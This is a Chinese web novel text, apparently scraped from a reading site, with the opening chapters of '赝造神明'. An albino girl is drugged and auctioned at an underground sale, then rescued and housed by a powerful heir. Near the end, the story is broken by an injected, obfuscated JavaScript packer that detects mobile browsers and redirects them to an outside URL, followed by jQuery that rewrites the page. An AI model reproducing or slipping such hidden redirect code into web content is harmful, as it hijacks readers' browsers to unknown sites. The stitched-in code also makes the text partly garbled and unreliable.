《赝造神明》 1. 笼中少女 首发晋江文学城//作者何处东洲 夜色渐浓,霓虹璀璨。 华梧市某家高级酒店的四翼旋转门外,一辆辆豪车接连而至。男男女女无一不是满身奢侈品,步履优雅地消失在了水晶灯迷炫的光晕里。 虽是司空见惯的场景,但门童还是莫名有些奇怪—— 今晚客人怎么特别多?好像都心照不宣约好了似的。 这会儿功夫,刚才几位客人已经走进了VIP专用电梯。光滑如镜的电梯门缓缓合上,映照出他们眼中灼灼燃烧的兴奋火焰。 “叮。” 电梯门开启,等候在外的侍应生恭敬呈上怪异华丽的面具。 这是被富豪们戏称为“Masquerade(假面舞会)”的地下拍卖会的惯例。一旦遮蔽真容,就意味着客人可以暂时告别白天光鲜亮丽的身份,毫无负担地释放欲.望,一掷千金。 今夜的拍卖品还是一如既往的惊艳。 濒危盔犀鸟活剃下的头骨制成的佛像。 灭绝的贝尔普施六丝极乐鸟标本。 被文物贩子多次转手的镶宝点翠钿子。 象征成交的落锤声不断响起,一张张隐藏在面具底下的脸孔也不约而同变得狂热。 人类对稀世之物的渴望永无止境,何况这些人坐拥巨额财富,贪妄便如无底深渊,非得用违逆道德与法律的异宝奇珍填补,才能稍微满足。 当一尊钧窑天青釉花瓶以七千万的成交价格刷新记录时,客人们知道,这场拍卖会差不多该到尾声了。 可拍卖师露在面具外的下半张脸,却勾起了一个神秘的微笑。 “诸位请别着急,今晚的压台还没登场呢。” 话音刚落,两位礼仪小姐推着一辆被丝绒帘幕遮得密不透风的四轮小车,款款走上台来。 搞得这么郑重其事,里面到底藏了什么?众人面面相觑,不由好奇心痒。要知道,就连那尊国宝级花瓶,都没用上这么大的阵仗。 “诸位请看,千万别眨眼。”拍卖师缓缓抬手,掀起帘幕一角。 手一扬,飘然委地。 纯银的鸟笼藤蔓缠绕,笼顶夜莺振翅啼鸣,少女安然蜷伏其中。 她身穿一袭类似修女法衣的黑色连衣裙,从上到下包裹得严严实实。头上还戴了顶软帽,长长的黑纱从帽檐垂落,连脸都彻底遮了起来。 全场安静,静得连呼吸声都听不见。几秒过后,才响起不满的吁叹。 “这算怎么回事?我还以为是什么不得了的好东西,结果就弄了个黑不溜秋的小丫头上来?” “之前有幸参加过拍卖少年少女的专场,一个个都精心打扮得跟花骨朵儿一样,今晚这操作实在让我看不懂。” “莫非是个丑得不能见人的怪胎?拜托,这里又不是FreakShow(畸形秀)。” “鸟笼倒是够精致,勉强能夸一句别出心裁,可里面的人到底够不够格啊?” “哈哈,假如闹出一场买椟还珠的戏码,可真要笑死人了。” 就在这时,黑纱轻微晃颤了一下。 夏之荧慢慢睁开了眼睛。 喧闹声稍微拉回了一点儿她的神志,她试图挣扎,却发现自己连一根手指都动弹不了了。 Masquerade的人把她关进鸟笼前,喂了她足量的药物,确保她毫无反抗能力。只要来到这座拍卖台,活生生的人和冷冰冰的珠宝瓷器再无区别,全都是待价而沽的死物。 “容我冒犯,诸位这回恐怕看走眼了。这件藏品可是真正的稀世之珍。” 拍卖师倒是气定神闲,好像十分笃定她能拍出前所未有的高价。他把手伸进鸟笼,优雅地摘下了那顶黑纱软帽。 一瞬间,昏暗封闭的会场好像飘起了雪。 所有人不由自主地心跳骤停,连瞳孔都在颤抖。眼前的画面实在毫无现实感,仿佛一不小心误入了古老的童话,又似荒诞的白昼梦化为真实。 只见少女满头雪白的长发倾泻而下,被穹顶上的枝形吊灯映照,泛动起不可思议的光华,在拍卖台上积聚起一小滩盈满月色的银白湖泊。 她小巧的头颅深深埋在胳膊里,似乎害怕被人看清面容。但后颈露出来的一小片肌肤,却像磁力强大的吸铁石,牢牢吸住了在场每一个人的视线。 那是一种难以想象的白。 白得病态,白得异常,白得刺眼。几乎令人怀疑躺在鸟笼里的并不是一个活生生的女孩,而是一具用某种不属于人间的奇妙材质制作的人偶。 “她……她到底是什么?!”一位年轻男性客人激动地大喊。 “想必诸位一定对夏家破产的事有所耳闻吧?”拍卖师慢悠悠道,“她不是别人,正是夏家的二小姐。” 此言一出,全场哗然。 “说起这夏家,原本也算煊赫鼎盛,可惜夏老爷子过世得早,儿子夏远是个浪迹情场的花花公子,根本不是经商的材料。”有客人惋惜道,“没了老爷子帮衬指点,偌大的家业很快被败成空壳,甚至还背上了巨额债务。” “可夏远不是带着妻女逃到国外去了吗?”年轻男客怀疑道,“况且我见过夏家大小姐,根本不是同一个人。” “你有所不知,夏远有两个女儿,鸟笼里的应该是被视作不祥之物的小女儿。”一位上了年纪的客人似十分熟悉这些豪门秘辛。 “不祥之物是什么意思?”年轻男客追问。 “据说这二小姐生下来就得了种罕见的怪病,比普通白化病严重得多,导致全身色素缺失,相貌怪异至极。”年长客人说着,点燃一根雪茄。 “仅是这样也还罢了,偏偏夏家人迷信得很,见小女儿长得和老辈人口中会给家门带来不幸的恶神极其相似,便狠心将她关了起来,不见天日,不闻不问。” 有人插嘴道:“这也太荒唐了……夏家人竟会相信这种虚无缥缈的事情。” “传说或许是假的,现实却是真的。”年长客人悠悠吐出一缕烟。 “自她出生,夏老病情日渐加重,夏家也每况愈下,而她自己更是没能幸免。夏远带着全家逃跑前,把所有债务都转移给了她,让她沦为拍卖会上的藏品。这一切,不都在印证传说吗?” 一番话说得煞有介事,年轻男客后背一阵发麻,但眼神还是不受控制地飘向前方。 恶神转世也好,不祥之物也罢,萦绕在少女周身的气息是那么冷澈洁净,仿佛一枝无暇的琼花,伶俜盛开在这片污浊的欲.望泥沼。 他还是想得到她。 但是,想收藏她的客人实在太多了。 竞拍开始,所有人都跟着了魔一样疯狂竞价,眨眼间就打破了今晚的成交记录。 “七千万!” “我出八千万!” “八千五百万!” “九千万!” “一个亿!”年轻男客发了疯似地叫道,“我要她,她是我的,我的!” 这个价格一报出来,众人烧得沸腾的头脑总算稍微冷却了一点。 和普通拍卖会习惯预留一到半个月的时间给竞拍人支付款项不同,Masquerade要求客人在竞拍成功后当场一次性付清全款。这意味着无论成交价格多高,客人都没有筹措现金的余裕。纵使在座所有人都是豪商巨贾,一个亿的现金也不是一笔能随便浪着玩儿的数目。 所以,Masquerade不仅是满足权贵们猎奇心的交易地,更是一个较量真实财力的角斗场。 “一个亿一次。” “一个亿两次。” 拍卖师举起锤子,“一个亿……” “谁敢。” 角落里,男人淡淡出声,眸底一晃而逝的,是晦暗浓深的妄与欲。 顿时,全场陷入死一般的寂静。 “这人什么时候出现的啊?怎么我来的时候都没注意到他。” “听说这里专门开辟出了一条特殊通道,只对圈子里最顶级的人开放,不限入场时间也不用核实身份。” “他想做什么?年纪轻轻的,有胆气在群虎口中争羊?” “哼,一群瞎眼蠢货。”年长客人轻嗤,“难道你们没看见他外套上的家徽?它象征宫家家主至高无上的身份,唯有一人有资格佩戴。” 在诸位贵宾的注 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他并不知道这个男人为何会如鬼魅般降临此地,贵宾名单上压根没有此人的姓名。可就算不是客人,甚没有参与拍卖,但仅一个看似感兴趣的反应,就足以让自己无视所有拍卖流程与规则,老老实实将藏品奉上。 宫家家主就是有这样的威信,或者说,令人战栗的恶名。 宫寻阙一动不动地站着,宛如一座黑铁铸成的雕像。 拍卖师开始飚冷汗。饶是他服务的都是上流社会的大人物,面对宫家家主时,他也不得不紧张,不得不害怕。 要知道,虽然宫寻阙站在金字塔的最顶端,绝大多数人都无缘得见。但他那些冷血残酷的事迹,诸如逼得宫家二房一脉集体自.杀,早已如骇闻一般传遍豪门圈。 “您放心,我们事先喂过药,绝对不会发生影响您兴致的情况。” 这次,宫寻阙终于有了反应。他略掀起眼帘,一双黑洞般的眸子掠了过来。 这哪儿像活人的眼神……!分明是残酷冷傲的恶魔,睥睨一只可随意踩死的蝼蚁。 拍卖师腿一软,悚然寒意冻彻骨髓,差点跪倒在地。 “这是钥、钥匙。”他控制住发抖的双手,递上托盘。 宫寻阙拿起钥匙,只需轻轻一转,指骨却用力到发白。 笼门开了。 夏之荧微微翕动了一下鼻翼。 好苦……怎么这么苦。一股清苦至极的雪白龙胆药香蔓延开来,苦得她心口都在发麻。 隔着黑纱,她艰难地抬起目光,一个陌生的高大男人正面无表情地看着自己。 衣服很黑,头发很黑,眼珠很黑,连脚边的影子都像一支插.进地面的漆黑箭矢。强烈的压迫感有如实质,似能轻易将她碾碎。 难道这个男人就是自己的买主?夏之荧瑟瑟发起抖来。 她看见男人随手抛下刚才还寸步不离的乌木手杖,俯身朝自己伸出了双手。 视界顿时暗了,高峻如山的身形倾倒下来,黑暗的浓影将她整个吞噬。此刻,她彻底沦为了捕兽笼中的猎物,跑不动,飞不了,并且距离猎人只有一臂之遥。 不要过来! 夏之荧惊颤得更加厉害,她想大声呼救,但她不能开口,更不可能有谁回应她的求救。除了束手就擒,她别无选择。 可不知为何,男人就在快碰到她的刹那,生生凝固了所有动作。然后,转身离开,再没有多看她一眼。 他到底想干什么? 惊惧交加之下,夏之荧额发都被冷汗湿透。 她看不透这个男人的行为,更猜不出他的真实目的。反正自己都是他的所有物了,他想怎样就怎样,就算要伤害自己,自己也只能咬牙忍受,不是吗? 虚脱般的无力感席卷全身,夏之荧从未如此疲倦。她累了,再也坚持不下去了。沉重的眼帘缓缓阖上,无尽黑暗将她彻底淹没。 意识消失之前,脑海中只剩下一个念头—— 就这样睡下去吧,永远永远别再醒来。 2. 茕然无归 末日般的死寂。 偌大的会场空无一人,唯余满地狼藉,仿佛经历了一场浩劫。 就在刚才,一群身材魁梧的西装墨镜男分别从大门左右鱼贯而入,为首的两人搬起鸟笼,平稳而迅疾地撤离,其余人则协同警方,把整座拍卖场森严壁垒地包围了起来。 事发突然,众人都还没反应过来,就发现自己已经逃不出去了。一时间,惊叫声、怒骂声和求救声响成一片,在阴暗华丽的会场中交织沸腾。 “都吩咐过了吗?”宫寻阙薄唇微启,淡淡出声。 “是,‘黑王蛇’将全力配合抓捕,绝不会有漏网之鱼。”特助孔义推了推眼镜。 自己跟着宫先生也算经历了不少大风大浪,但以身入局Masquerade还是惊险。幸好一收到消息就立刻联系警方布局,这次任务才能顺利。 宫寻阙略点了点头,脚步不停。厚重的大门在他身后缓缓闭合,投下浓黑的影子,仿佛凭空舒展开了一对巨大的羽翼。 “医院那边来消息了,夏小姐身体并无大碍,已经苏醒过来了。” 说到这儿,孔义语气略有凝滞,虽只一瞬,但还是被宫寻阙敏锐地捕捉到了。 “怎么,她哪儿不好?” “夏小姐家中遭此变故,情绪不佳也是在所难免。我已经叮嘱医生多加注意,有情况会及时跟进,您不必担心。” 接下来宫寻阙还有一场重要会议要参加,孔义跟随他多年,对这位雇主的脾性还是能揣摩几分,深知就算有天大的事,都不能影响他工作丝毫。 哪怕是难得“多管闲事”救下的女孩。 手杖顿地的声音停了下来。 孔义一愣,“宫先生?” “去医院。” 孔义怀疑自己的耳朵出了问题。 宫寻阙掠了他一眼,“还要我重复一遍?” 孔义浑身一震,“明白。” *** 恒温恒湿空调送出舒适的风,空气里浮动着浓烈的消毒水味。 夏之荧抱紧膝盖,蜷着身子缩在病床角落。 这间病房豪华宽敞,堪比五星级酒店的总统套房,丝毫没有普通医院的冰冷感。可她非但不能安心,反而愈发惶恐。 记忆里,自己明明被关在那个黑暗的地下拍卖场,直到一个阴森恐怖的男人买下了自己…… 一到想那个男人,夏之荧如堕冰窖,连气都透不过来。这种感觉,就好像被噩梦折磨的人好不容易苏醒,却一脚跌进另一个更可怕的噩梦。 “咔嗒。” 病房门柄转动了一下。 是那个男人吗?夏之荧一个激灵,下意识地往后一缩,后背一下子撞上了床尾板。 是了,她根本无路可逃。 催债打手上门那天,她住了十几年的小阁楼被砸成了一堆废墟。就算要逃,她唯一的庇护所也没有了,又能逃到哪儿去? 夏之荧攥紧裙摆,死死盯着病房的门。 她几乎可以想象那个男人会如何一步一步迫近自己,朝自己伸出利爪,将自己拖进万丈深渊…… 门开了,轻轻走进来的是一个面目和蔼的中年医生。 “夏小姐,你现在感觉怎么样?”池晖柔声询问,“有哪里不舒服请告诉我,我会尽全力帮助你。” 夏之荧愣住了。又是送医院又是请医生,是生怕自己死掉,白白浪费那么多钱吗? 见病人毫无反应,池晖又问了几个常规问题。可女孩儿只是沉默地低下头,深深埋进膝盖间,仿佛恨不得将自己缩成一粒小砂砾。 “唉。”池晖无声地叹了口气。 这个年纪的女孩儿最是明媚活泼,自己女儿和她差不多大,整天嘻嘻哈哈,享受着无忧无虑的青春。可这位夏小姐却像被封闭在厚厚的壳里,与外面精彩的世界彻底隔绝。 手机震动了一下,亮起孔义发来的消息: “宫先生马上到。” 池晖一凛,前脚刚踏出病房,就听见手杖敲地的声音由远及近。一抹冷森森的黑影从走廊尽头浮现出来,逐渐被逆光拓印出高大清晰的轮廓。 “我现在,方便见她吗?”宫寻阙语调平平,毫无起伏。 “夏小姐情况还不稳定,需要进一步的检查。”池晖斟酌着用词,“希望您探望病人时,言语和行动上多加注意,千万别刺激到她。” 作为隶属宫氏集团的顶级私营医院,仁明医院为全市最富有的人士提供医疗服务,池晖又担任着心理精神科主任医师的要职,自然见识过不少有钱人的龌龊事。 当他看见宫家家主的直属保镖队伍“黑王蛇”亲自把夏之荧护送过来时,便大胆猜出了她和宫寻阙的关系。 作孽啊……少女落入恶龙的魔爪,天晓得以后还要遭多少罪。 讽刺的是,外界皆传宫寻阙不近女色,多少富家千金、绝色女星主动对他投怀送抱,他连眼皮子都不屑抬一下。结果还不是和其他掌握财富权势的男人没什么两样,指不定还有恶劣的特殊癖好。 宫寻阙握住门柄的手,慢慢松了开来。 他没有回头,只是用一如既往的平静语气说:“你认为她会怕我,我会伤害到她。” 短短一句陈述,不带任何感情,听上去正是对话里潜台词的总结。 池晖后背的冷汗一下子就冒出来了。 糟糕,自己怕是把不能得罪的人给得罪了。 时间仿佛凝固。 “笃、笃、笃。” 手杖顿地的声音再次响起。 宫寻阙竟然配合地离开了,临走前甚至说了句“谢谢提醒”。 池晖艰难地呼出一口气,简直不敢相信自己的眼睛。 这么通情达理,还是传闻中那个不达目的誓不罢休的偏执狂吗? 回到病房,夏之荧仍抱膝蜷缩在床上,帽檐黑纱密匝遮掩面容,雪白长发顺着单薄背脊起伏披散,发尾落在荷叶边裙摆上,有如漆黑夜色中簇簇绽放的雪花。 池晖暗自摇头。 纵使临床经验丰富如他,面对如此怪异罕见的症状,也是一筹莫展。 “轰隆隆”。 天际滚过闷重的雷声,暴雨倾盆,不讲道理。顷刻间,暑气溃不成军,病房里也溢进潮凉。 最难熬的梅雨季猝不及防地拉开了序幕。 就在这时,寂默不动的夏之荧如梦乍醒,用力捂住耳朵,无比痛苦地发起抖来。就好像轰雷与雨珠正重重砸落在她的身上,为她施予遍身钉刑。 池晖做梦都没想到夏之荧会有这么大反应。 自入院以来,她一直维持着抱膝蜷缩的姿势。从心理学角度分析,这是一种自我防御机制的体现。作为人的最后一层保护罩,自我防御机制是无法被轻易打破的。 可如今,一场南风天里最常见的雷阵雨,就将它彻底击得粉碎。 池晖和护士竭力安抚着惊惧惶恐的女孩,但他们的话语穿不透沉重的黑纱,更盖不住连绵不绝的雷声。她那双戴着黑手套的手,始终紧紧捂着耳朵,五指收紧,不住颤抖。 窗外,暗沉沉的雨帘蓦地蒙上光芒,一辆迈巴赫亮着车前灯,急速折返了回来。 走廊里传来手杖顿地的声音,急促又凌乱,再无之前的优雅从容。 “啪嗒。” 一颗水珠顺着手杖杖头的纯银五瓣花缓缓滴落,在病房前的地板上摔了个粉碎。 敲门声急促响起。 几下过后,门外的人索性直接闯入。惨白的病房顿时被劈斫出一道漆黑锋利的影子,池晖一转头,不由愣住。 “宫先生,您怎么回来了?” 宫寻阙如若不闻,径自走到病床边,脱掉身上沾了潮气的纯黑暗纹毛料西装外套,借着手杖的支撑蹲下身来。 他的动作略显迟缓,甚至有些吃力,但还是保持着单膝屈地的姿势。 不知是不是自己的错觉,池晖看着他高大如松的背影,竟读出了一丝难以掩饰的焦灼,甚至痛苦。 可那是宫寻阙啊,翻手为云覆手为雨。而夏之荧不过是一个被家人抛弃的孤女,是他一时兴起收入怀中的拍卖品。 他何至于此? “别怕,是我。” 男人冷金属感的嗓音里透出几分暗哑的温柔,在滂沱雨声里也格外清晰。 夏之轻颤了一下,终于有了微弱的反应。 “没事了。”男人语调柔和,极尽安抚之意,“雨很快就会停,不怕。” 耳边传来的话音似乎有股神奇的魔力,夏之荧于恍惚之中,感觉自己握住了一根发亮的藤蔓,引领自己挣脱黑暗的沼泽。 她没那么害怕了,小心翼翼地睁开眼睛,映入视界的是那张骨相凌厉到近乎冷酷的脸 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“原来如此。” 宫寻阙极缓地直起身,顺势抬起乌沉沉的眼眸,出神地凝视着她,不知在想些什么。 他没有再多说一个字。 暴雨还在下,间或有闷雷炸响。不过,许是男人的存在感太过强烈,不经意间就能分散她的注意力,夏之荧渐渐地还真没那么害怕了,就连眼中那个男人的面目都变得柔和了些许。 这时节,雷阵雨总是来得快去得也快。随着雷收雨散,夏之荧紧绷已久的精神终于松弛下来,整个人不由自主地窝进松软的被褥,沉沉睡了过去。 听她呼吸安稳,宫寻阙这才缓慢起身,穿着意大利手工皮鞋的脚退回原位,一步一步走出病房。 “喀哒。” 房门合上,唯余一缕极其苦涩的雪白龙胆药香。 *** “宫先生,您请。”池晖神礼貌示意。 男人解开深黑鱼脊纹西服外套的纽扣,乌木手杖轻轻一点地面,在他对面坐了下来。 “开始吧。” 池晖定了定神。 “夏小姐第一次复查结果出来了,多亏有您的关心,她恢复情况良好,甚至远超预期。” 报完喜,他顺势观察宫寻阙的神情。 可男人的脸上没有任何情绪波动,仿佛戴了一张俊美的陶瓷假面,冷得很是怕人。 池晖有点尴尬,他没在拍马屁,说的也都是事实。可宫寻阙一点儿都不高兴,好像自己说的不是他帮了她,而是他害了她。 “但……但夏小姐无法开口说话的问题,还有生怕被人看见样貌的着装习惯,都源自她的心理障碍,不是一朝一夕可以解决的,还希望您多点耐心,不要着急。” 宫寻阙很缓地点了下头,“我知道。” “造成心理障碍的症结是伤害。”池晖翻开厚厚的病程记录,“创伤对人的影响很大,除了我们目前已知的,还可能引发很多别的症状。宫先生,您要提前做好思想准备。” 男人握着五瓣花银质杖头的手微不可察地一颤。 “比如?” 池晖无奈,“我不能凭空猜测。” “失忆。”宫寻阙冷然开口,“有可能吗?” 池晖一怔,“如果真有失忆的情况,倒也十分正常。” 宫寻阙眉头微蹙,“当真?” “人一旦遭遇了创伤经历,心因性遗忘便极有可能出现。遗忘的内容一般只限定于和那些痛苦体验相关的人和事。”池晖解释道,“结合夏小姐以往经历,她在成长过程中一定曾被最信任、最亲密的人伤害,那个人便有很大概率成为她遗忘的对象。” 宫寻阙缄默,良久,才静静开口: “所以,并不全然是一件坏事。” 池晖点点头,“从某种意义上来说,甚至是好事。遗忘能让病人能少些痛楚,不必背负那些不堪回首的往事,更加轻松自在地生活。” 男人紧握手杖的手,缓缓松开了。 掌心已经被五瓣花锋利的边缘刻出了深深的印痕,红得像要渗血。 可他恍然不觉疼痛,甚至还略略舒展了眉眼。 好。 3. 玻璃神龛 出院的日子终于来临。 走廊里,两列铁塔似的黑衣保镖早早整齐驻守。一见夏之荧,他们便立刻无声地围了上去,将她一路护送到医院大门。 夏之荧感觉自己成了被押送刑场的犯人。 “夏小姐,请上车。”孔义站在罗伦士保姆车旁,毕恭毕敬道。 隔着黑纱,夏之荧看见眼前车门张开漆黑巨口,十指用力抓紧了裙摆。 上次是插翅难飞的银笼,这次是什么地方? 会很黑吗?会很冷吗?会像一座监牢吗? 爷爷、爸爸、陶阿姨还有姐姐,所有人都认为自己只能呆在这样的地方。因为只有把自己关起来,才能让其他人都过得幸福。 保姆车行驶得很平稳,黑纱如凝固般静止。掩藏其后的那双眼睛慢慢闭了起来,仿佛只要阖上眼帘,就能隔绝心中的酸楚。 “夏小姐,我们即将抵达目的地,需要我先为您介绍一下吗?”孔义问道。 夏之荧很轻地摇了摇头,攥紧裙子的双手,放弃似地一点一点松开了。 保姆车停了下来。 夏之荧紧咬住下唇,微微瑟缩着探出了身子。 一阵裹挟着青草清香的微风吹过,掀起黑纱一角,隐匿其后的那张面庞,微微泛开惊讶的涟漪。 梦吗? 怎么会是……这样的地方。 她曾经羡慕夏羽晴能像公主一样,住在宽敞又明亮的城堡式别墅里,但和眼前这个地方相比,记忆里美轮美奂的城堡瞬间黯然失色。 庭院绿草如茵,散落着白色欧式凉亭,人工湖波光粼粼,天鹅优雅游弋。 一栋极其美丽的宅邸矗立在如画风景里,阳光洒落下来,它像一块精心雕琢过的巨大水晶,散发出明亮炫目的光芒。 “如您所见,这是PierreDubois先生的建筑设计作品,名为‘玻璃宫’。” 孔义的语气里有抑制不住的淡淡骄傲。 “整栋建筑前后立面全部被半透明的玻璃砖包裹,既能为室内带去柔和的自然光线,也能满足生活的私密性需求。” 夏之荧一怔,这个法国设计师的名字,她曾在陶如玲和夏羽晴母女口中听到过。 当时夏老爷子刚过世没多久,她们就急不可耐地撺掇夏远另造一栋新宅邸,一家人搬出去住。正好把自己撇在老宅阁楼,彻底摆脱不祥。 而她俩心心念念的设计师,就是PierreDubois,当世最杰出的现代主义建筑师之一。 当然,这个要求不啻于天方夜谭。Pierre根本不是能轻易请得动的人。何况夏家当时已经败落,就算Pierre肯出山,他们也支付不起天价的设计费。 “从今天起,玻璃宫就是您的新家,希望您住得开心。”孔义道。 夏之荧呆住了。 “家”这个字对她来说太过遥远,也太过陌生。夏家从来不是她的家,栖身小阁楼的每一天,她无时无刻都活在随时会被赶走的惶恐里。 “差点忘了告诉您,宫先生就是宫氏集团现任董事长宫寻阙。”孔义道,“您不幸落入Masquerade这种地下拍卖会,是他带人和警察一起,将您救了出来。” 夏之荧短路的大脑爆出了几颗火花,宫先生……不会就是那个大反派一样的男人吧? “对了,这些文件烦请您过目一下。” 孔义从随身携带的公文包里取出一个很厚的文件袋,夏之荧怔忡接过,打开一看,里面是一张张合同、借条、收据、银行转账凭证之类的材料。 “夏家的债务已经彻底还清,欺骗您父亲的那些人都将面临法律的制裁。”孔义顿了顿,给她一点消化的时间。 “这起金融骗局牵涉面广,造成了很大的社会影响。宫氏愿意主动承担企业社会责任,给予每个受害者家庭一笔资金援助,让他们尽快开始新的生活。” 纸张扑簌簌地从夏之荧指间滑落,散了满地。 其实那天在拍卖台上,她有想过,或许被买走并不是一件太坏的事情。 Masquerade的人说过,卖她的钱是用来替夏家还债的。那么,等夏家不欠钱了,厂里的工人是不是也能拿到工资了? 她曾不止一次目睹那些工人抱着孩子跪上门,哀求别让全家老小断了活路。可爸爸和陶阿姨只会避而不见,还骂他们是讨债鬼,有钱也不会给他们一分。 “一切都过去了。从前那些不愉快的事,今后绝不可能再发生。”孔义加重语气,“有宫先生在,您什么都不用担心。” 怎么可能不担心。 夏之荧知道,上层圈子的人经常会做慈善,连夏远都会定期去福利院捐点桌椅课本之类的东西。但这些善举往往伴随着大张旗鼓的宣传,并不像宫寻阙那样,悄无声息地便做了。 况且,自己和他素不相识,他到底为什么要做到这种地步? 直到孔义告辞,她仍怔怔站在原地,过了许久,才用力掐了一下自己的胳膊。 疼,疼得差点落泪,但她还是怀疑自己正置身梦中。 垂下眼帘,漆黑的裙摆下是白色长毛地毯。宅子里的每一寸地面,都铺满了这种厚实柔软的毛毯,就算重重摔倒,都不会受半点儿伤。 不像以前住的小阁楼,木地板年久失修,潮湿发霉不说,还倒竖起许多细小尖锐的木刺,剐蹭到皮肤可疼了,是会忍不住掉眼泪的那种疼。 夏之荧回过头,看向大门的方向。 自己应该尽快离开,不然真到梦醒的时候就该舍不得了。可许是软绵绵像踩在云上的触迷惑了她,她的双脚竟然一点都不听使唤。 再呆一会儿,夏之荧告诉自己,只要一会儿会儿就好。就算是一场稍纵即逝的美梦,她也想晚片刻再醒。 天色逐渐暗淡。 意识到房间里的光线正逐渐消失,夏之荧晕乎乎的头脑才冷却下来。 她一直都怕黑。 小时候,家里停过一次电。当时她正被夏羽晴恶作剧反锁在小阁楼里,仅有的一盏昏暗小灯不亮了,本就采光不佳的逼仄空间彻底被黑暗笼罩。 她吓得大哭,可不管她怎么求救,都没有一个人为她开门。 在这个家,人人都害怕她,厌恶她,他们连提都不愿意提她。谁会想到偏僻的小阁楼里还有她在,她也会哭,也会痛,也会害怕。 直到第二天天光大亮,佣人照往常一样不情不愿地来给她送饭,才发现门被锁住了。 而此时的她,早已哭得气息奄奄。 天幕完全黑了下去,夜色如浓墨扩散。可就在最后一缕天光消失前,面朝庭院的玻璃砖幕墙漫射出了光芒。 不是玻璃宫本身在发光,而是庭院里的景观灯都亮了起来。 因为光照强度和角度都被精心设计过,当光线穿过半透明的玻璃砖照进房间,便会变得如月光般轻盈柔和。就算不拉窗帘,也不会影响安眠,甚至还能把不安的情绪一点点磨平。 夏之荧慢慢摊开双手,温柔的薄光像水一样漫过掌心。 她想要抓住它们。不然的话,她真的不敢去想,此刻所有的灯光,真的照在了她的身上。 她就这么捧着她的光沉入了梦乡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420376|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *** 久违地睡了个好觉,夏之荧醒来后神清气爽。洗漱完,她开始做每天最重要的一件事情—— 把自己从头到脚地藏起来。 垂到脚踝的长发整齐盘在脑后,长袖连衣裙严密遮住每一寸皮肤,两只手也要戴好手套。 最重要的是那顶缀着黑纱的帽子。一旦黑纱放下来,就再也没人能看见她的容貌。 虽然玻璃宫里的佣人们只管默默做事,不会主动抬眼看她,但她必须这么做,不然就不能走出房间。 天阴了好些日子,今日难得晴好。玻璃宫里光影浮动,脚下的地毯暖烘烘的,比踩在云朵上还舒服。 夏之荧提着裙摆,像掉进兔子洞里的爱丽丝,小心又好奇地探索起了整栋宅子。 这里既明亮又美好,和小阁楼宛如两个世界,她真的很喜欢。所以,她想在离开之前,尽可能多给自己留下一点美好的记忆。 外面的庭院昨天没来得及好好欣赏,如今走在被阳光镀上一层浓郁金色的宽阔草坪上,夏之荧油然生出了一种美丽却模糊的虚幻感,脚下一趔趄,差点来了个平地摔。 不过,真摔倒了也没事,草坪是用高羊茅、果岭草和矮生百慕大交织种植的,这些草种厚密柔软,想摔疼都难。 孔义到现在都记得Pierre打趣说,宫先生是不是把玻璃宫当成一座神龛来建造,不然怎么会提出苛刻到非人的要求—— 既要永远明亮,又要柔软温暖,岂不是要在里面敬奉一位易化又易碎的神? 想到这儿,孔义看向站在一旁的宫寻阙,却见他绷紧了脸色,好像夏之荧刚才不当心打了个趔趄,是比天塌下来还大的事。 话又说回来,就算天真塌下来,老板都不会皱一下眉头吧? 自从他以长房独子的身份回归宫家,针对他的意外事故就从未停止。可他仍悍然周旋于凶险的派系斗争,仿佛被剥夺了普通人该有的喜怒哀乐,连生死都不在他眼中。 然而,此刻,他却为一个少女飘曳晃荡的裙摆而深深动摇。 纤细又瘦小的少女,被漆黑色彩吞噬的少女,却以超越一等星的引力和亮度,擭夺了男人全部的视线。 突然,夏之荧跑到一棵树下,高举双臂用力朝上跳起,裙摆一蓬一蓬地绽开,跟上满发条的人偶似的。 但她个头摆在那里,不管跳多少下,指尖都碰不到趴在树枝上的猫咪。 “咪~” 那只奶胖奶胖的小白猫又赖唧唧地叫了一声,落在夏之荧耳中,变得求救意味十足。 她急切地朝它挥了挥手,示意它不要害怕,然后从花架底下拖了个乘凉的藤椅,提起裙摆,小心翼翼地站了上去。 小白猫圆溜溜的眼睛看着她,舔着山竹一样的肥爪爪。 夏之荧倾过身子,朝它伸出双手。 藤椅在她脚下摇晃起来,但她并未在意,还固执地朝前挪了一小步。 脚尖踏出了椅面边缘,本就摇摇欲坠的重心彻底失去平衡,她像一片被风无意吹下的花瓣儿,朝树影晃动的草地坠落下来。 “小心。” 还没等夏之荧反应过来,后背就抵上了一处坚实宽厚的所在,熟悉的雪白龙胆香气如潮水一般席卷,幽深冷峻到了极致。 她被稳稳当当地扶到了地上。 刚站稳,那个人就迅速松开了她,似乎触碰到她会是一桩要了命的事情。 雪白龙胆的苦香也随之变淡,浅浅浮动在鼻端。 夏之荧半仰起头,望向面前的男人,眼睛不由圆睁。 果真是他,传说中的宫先生。 4. 树梢白猫 宫寻阙握住手杖,俯身下来,视线与她相平,“没事吧?” 平静到连声调起伏都缺失的语气,好像刚才那声“小心”根本不是他叫的。 微风吹拂,黑纱轻曳,夏之荧的视界也跟着晃颤。 幸而外面天光正好,她仍能看清宫寻阙的样子。男人还是通身漆黑的打扮,配上俊美却阴沉的眉眼,总令人不好地联想起的收割人类灵魂的恶魔。 但忽然之间,夏之荧觉得他没那么可怕了。 她退后一步,深深朝他鞠了个躬。 胳膊被男人握住。 很绅士的握法,十指都不敢隔着衣料贴上去,却又用了十二分的力,指尖都在微微地颤。 男人将她托扶了起来,修身衬衣下的手臂肌肉贲张,连带着手背绷凸起几根青色的筋脉,透出一股不容抗拒的暗劲儿。 夏之荧只觉脚下一轻,整个人就不得不站直了。 “你在做什么?”宫寻阙露出古怪的神色。 当然是感谢啊! 她不可以说话,只能用这种最笨的方式表达谢意,但也不至于看不出来吧? 夏之荧想着要不要再鞠一躬,只听宫寻阙嗓音喑哑地问:“你谢我?” 她用力点头。 岂止是感谢。 “你不该谢我。”宫寻阙道。 